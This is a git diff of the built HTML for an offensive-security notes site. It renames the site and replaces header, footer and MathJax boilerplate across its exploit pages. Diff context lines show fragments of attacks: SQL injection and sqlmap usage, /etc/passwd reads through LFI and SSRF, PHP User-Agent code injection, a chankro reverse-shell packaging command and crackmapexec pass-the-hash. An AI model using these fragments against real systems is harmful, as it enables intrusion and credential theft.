- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/sqli/sqli.html b/build/exploit/sqli/sqli.html index cc23905..6a45120 100644 --- a/build/exploit/sqli/sqli.html +++ b/build/exploit/sqli/sqli.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -351,109 +350,34 @@ GET /about/0 UNION all select notes, null, null, null, null from users where id
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/sqli/sqlmap.html b/build/exploit/sqli/sqlmap.html index d69b279..79ed714 100644 --- a/build/exploit/sqli/sqlmap.html +++ b/build/exploit/sqli/sqlmap.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -196,109 +195,34 @@ sqlmap -r request.txt --batch
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/ssl_tls/heartbleed.html b/build/exploit/ssl_tls/heartbleed.html index 487b77c..4618c71 100644 --- a/build/exploit/ssl_tls/heartbleed.html +++ b/build/exploit/ssl_tls/heartbleed.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -154,109 +153,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/web/bypass_rate_limiting/bypass_rate_limiting.html b/build/exploit/web/bypass_rate_limiting/bypass_rate_limiting.html index 52f06d0..f1df03d 100644 --- a/build/exploit/web/bypass_rate_limiting/bypass_rate_limiting.html +++ b/build/exploit/web/bypass_rate_limiting/bypass_rate_limiting.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -162,109 +161,34 @@ X-Forwared-Host: 127.0.0.1
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/web/command_injection.html b/build/exploit/web/command_injection.html index a7fef00..34cac5d 100644 --- a/build/exploit/web/command_injection.html +++ b/build/exploit/web/command_injection.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -168,109 +167,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/web/content_security_policy/content_security_policy.html b/build/exploit/web/content_security_policy/content_security_policy.html index a3007ab..f467bdc 100644 --- a/build/exploit/web/content_security_policy/content_security_policy.html +++ b/build/exploit/web/content_security_policy/content_security_policy.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -209,109 +208,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/web/cookie_tampering.html b/build/exploit/web/cookie_tampering.html index 96d666c..9e77cb0 100644 --- a/build/exploit/web/cookie_tampering.html +++ b/build/exploit/web/cookie_tampering.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -169,109 +168,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/web/csrf.html b/build/exploit/web/csrf.html index bbc9643..155124c 100644 --- a/build/exploit/web/csrf.html +++ b/build/exploit/web/csrf.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -158,109 +157,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/web/forced_browsing/forced_browsing.html b/build/exploit/web/forced_browsing/forced_browsing.html index ff7eaa3..bbcd939 100644 --- a/build/exploit/web/forced_browsing/forced_browsing.html +++ b/build/exploit/web/forced_browsing/forced_browsing.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -169,109 +168,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/web/http_header_injection.html b/build/exploit/web/http_header_injection.html index 04352f7..94d64ab 100644 --- a/build/exploit/web/http_header_injection.html +++ b/build/exploit/web/http_header_injection.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -153,109 +152,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/web/idor/idor.html b/build/exploit/web/idor/idor.html index b486c0b..8941783 100644 --- a/build/exploit/web/idor/idor.html +++ b/build/exploit/web/idor/idor.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -145,109 +144,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/web/javascript/bypass_filters.html b/build/exploit/web/javascript/bypass_filters.html index de4ff2e..9794a2f 100644 --- a/build/exploit/web/javascript/bypass_filters.html +++ b/build/exploit/web/javascript/bypass_filters.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -157,109 +156,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/web/javascript/prototype_pollution.html b/build/exploit/web/javascript/prototype_pollution.html index dce14ed..3005867 100644 --- a/build/exploit/web/javascript/prototype_pollution.html +++ b/build/exploit/web/javascript/prototype_pollution.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -190,109 +189,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/web/jwt/jwt.html b/build/exploit/web/jwt/jwt.html index ada2d11..8a8d62f 100644 --- a/build/exploit/web/jwt/jwt.html +++ b/build/exploit/web/jwt/jwt.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -246,109 +245,34 @@ python -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binasc
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/web/local_file_inclusion.html b/build/exploit/web/local_file_inclusion.html index ccd3102..f8a39a7 100644 --- a/build/exploit/web/local_file_inclusion.html +++ b/build/exploit/web/local_file_inclusion.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -264,109 +263,34 @@ http://example.com/home?page=/etc/passwd
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/web/methodology.html b/build/exploit/web/methodology.html index f101cc9..866fc77 100644 --- a/build/exploit/web/methodology.html +++ b/build/exploit/web/methodology.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -155,109 +154,34 @@ We'll look at this as a step-by-step process. Let's say that we've been given a
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/web/nodejs/deserialization.html b/build/exploit/web/nodejs/deserialization.html index b6e5189..f8930c3 100644 --- a/build/exploit/web/nodejs/deserialization.html +++ b/build/exploit/web/nodejs/deserialization.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -162,109 +161,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/web/php/command_injection.html b/build/exploit/web/php/command_injection.html index 0c43937..90b40ab 100644 --- a/build/exploit/web/php/command_injection.html +++ b/build/exploit/web/php/command_injection.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -160,109 +159,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/web/php/password_reset.html b/build/exploit/web/php/password_reset.html index ce69a34..9ea7343 100644 --- a/build/exploit/web/php/password_reset.html +++ b/build/exploit/web/php/password_reset.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -148,109 +147,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/web/php/php_base64_filter.html b/build/exploit/web/php/php_base64_filter.html index 837b281..51195ad 100644 --- a/build/exploit/web/php/php_base64_filter.html +++ b/build/exploit/web/php/php_base64_filter.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -149,109 +148,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/web/php/php_image_exif.html b/build/exploit/web/php/php_image_exif.html index b0aad10..8988eb8 100644 --- a/build/exploit/web/php/php_image_exif.html +++ b/build/exploit/web/php/php_image_exif.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -191,109 +190,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/web/php/php_user_agent_rce.html b/build/exploit/web/php/php_user_agent_rce.html index 1deb474..73fcf81 100644 --- a/build/exploit/web/php/php_user_agent_rce.html +++ b/build/exploit/web/php/php_user_agent_rce.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -169,109 +168,34 @@ User-Agent: <?php file_put_contents(&
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/web/php/preload_lib.html b/build/exploit/web/php/preload_lib.html index 4af6c4a..a6bb7c8 100644 --- a/build/exploit/web/php/preload_lib.html +++ b/build/exploit/web/php/preload_lib.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -165,109 +164,34 @@ python2 ./chankro.py --arch 64 --input rev.sh --output ch
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/web/php/unserialize.html b/build/exploit/web/php/unserialize.html index 824d51e..f2b7be7 100644 --- a/build/exploit/web/php/unserialize.html +++ b/build/exploit/web/php/unserialize.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -174,109 +173,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/web/re_registration.html b/build/exploit/web/re_registration.html index 54b3d59..3325e50 100644 --- a/build/exploit/web/re_registration.html +++ b/build/exploit/web/re_registration.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -152,109 +151,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/web/remote_file_inclusion.html b/build/exploit/web/remote_file_inclusion.html index 9e72985..47e62e4 100644 --- a/build/exploit/web/remote_file_inclusion.html +++ b/build/exploit/web/remote_file_inclusion.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -157,109 +156,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/web/ssrf/iframe.html b/build/exploit/web/ssrf/iframe.html index 0ec7cda..1b66562 100644 --- a/build/exploit/web/ssrf/iframe.html +++ b/build/exploit/web/ssrf/iframe.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -169,109 +168,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/web/ssrf/ssrf.html b/build/exploit/web/ssrf/ssrf.html index 6f27dda..dde9b30 100644 --- a/build/exploit/web/ssrf/ssrf.html +++ b/build/exploit/web/ssrf/ssrf.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -226,109 +225,34 @@ http://<ssrf-Server>/?url=../../etc/passwd
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/web/ssti/ssti.html b/build/exploit/web/ssti/ssti.html index fc08c67..977a9cb 100644 --- a/build/exploit/web/ssti/ssti.html +++ b/build/exploit/web/ssti/ssti.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -220,109 +219,34 @@ pip2 install -r requirements
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/web/url_forgery.html b/build/exploit/web/url_forgery.html index 9e4a181..7c8eb2d 100644 --- a/build/exploit/web/url_forgery.html +++ b/build/exploit/web/url_forgery.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -147,109 +146,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/web/wordpress.html b/build/exploit/web/wordpress.html index 0744fe3..132f6dc 100644 --- a/build/exploit/web/wordpress.html +++ b/build/exploit/web/wordpress.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -173,109 +172,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/web/xpath.html b/build/exploit/web/xpath.html index 5ccb0ad..69655e8 100644 --- a/build/exploit/web/xpath.html +++ b/build/exploit/web/xpath.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -153,109 +152,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/web/xss.html b/build/exploit/web/xss.html index e4af21a..4fee273 100644 --- a/build/exploit/web/xss.html +++ b/build/exploit/web/xss.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -330,109 +329,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/web/xxe/wp_xxe_.html b/build/exploit/web/xxe/wp_xxe_.html index 0532e88..074c4b3 100644 --- a/build/exploit/web/xxe/wp_xxe_.html +++ b/build/exploit/web/xxe/wp_xxe_.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -180,109 +179,34 @@ python -m http.server
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/web/xxe/xml_external_entity.html b/build/exploit/web/xxe/xml_external_entity.html index 2d8b5b6..52a56d1 100644 --- a/build/exploit/web/xxe/xml_external_entity.html +++ b/build/exploit/web/xxe/xml_external_entity.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -232,109 +231,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/windows/dll_hijacking/dll_hijacking.html b/build/exploit/windows/dll_hijacking/dll_hijacking.html index 96acebe..8e13932 100644 --- a/build/exploit/windows/dll_hijacking/dll_hijacking.html +++ b/build/exploit/windows/dll_hijacking/dll_hijacking.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -198,109 +197,34 @@ sc start dllsvc
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/windows/docs/always_installed_elevated.html b/build/exploit/windows/docs/always_installed_elevated.html index 0a6055a..9d4c214 100644 --- a/build/exploit/windows/docs/always_installed_elevated.html +++ b/build/exploit/windows/docs/always_installed_elevated.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -173,109 +172,34 @@ reg query HKLM\SOFTWARE\Policies
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/windows/docs/crackmapexec.html b/build/exploit/windows/docs/crackmapexec.html index 21ad925..eba37e1 100644 --- a/build/exploit/windows/docs/crackmapexec.html +++ b/build/exploit/windows/docs/crackmapexec.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -153,109 +152,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/windows/docs/dpapi.html b/build/exploit/windows/docs/dpapi.html index 4eacb1e..aceef16 100644 --- a/build/exploit/windows/docs/dpapi.html +++ b/build/exploit/windows/docs/dpapi.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -179,109 +178,34 @@ Pressuposition is, you want to decrypt a blob with a masterkey, e.g. Keepass whi
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/windows/docs/impacket.html b/build/exploit/windows/docs/impacket.html index 0ce9b60..1616c95 100644 --- a/build/exploit/windows/docs/impacket.html +++ b/build/exploit/windows/docs/impacket.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -161,109 +160,34 @@ crackmapexec smb $TARGET_IP -u <user> -H hashes.tx
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/windows/docs/llmnr.html b/build/exploit/windows/docs/llmnr.html index 82c2918..67bf32b 100644 --- a/build/exploit/windows/docs/llmnr.html +++ b/build/exploit/windows/docs/llmnr.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -168,109 +167,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/windows/docs/lnk_exploit.html b/build/exploit/windows/docs/lnk_exploit.html index ab362eb..6e9f440 100644 --- a/build/exploit/windows/docs/lnk_exploit.html +++ b/build/exploit/windows/docs/lnk_exploit.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -161,109 +160,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/windows/docs/pass_the_hash.html b/build/exploit/windows/docs/pass_the_hash.html index be8fadf..8bee45a 100644 --- a/build/exploit/windows/docs/pass_the_hash.html +++ b/build/exploit/windows/docs/pass_the_hash.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -150,109 +149,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/windows/docs/password_in_registry.html b/build/exploit/windows/docs/password_in_registry.html index 34830c4..d3fd1fd 100644 --- a/build/exploit/windows/docs/password_in_registry.html +++ b/build/exploit/windows/docs/password_in_registry.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -174,109 +173,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/windows/docs/potatoes.html b/build/exploit/windows/docs/potatoes.html index 783ab83..5102d12 100644 --- a/build/exploit/windows/docs/potatoes.html +++ b/build/exploit/windows/docs/potatoes.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -151,109 +150,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/windows/docs/printnightmare.html b/build/exploit/windows/docs/printnightmare.html index fed3333..3ec7bcd 100644 --- a/build/exploit/windows/docs/printnightmare.html +++ b/build/exploit/windows/docs/printnightmare.html @@ -5,15 +5,14 @@ - - - - - + + + +
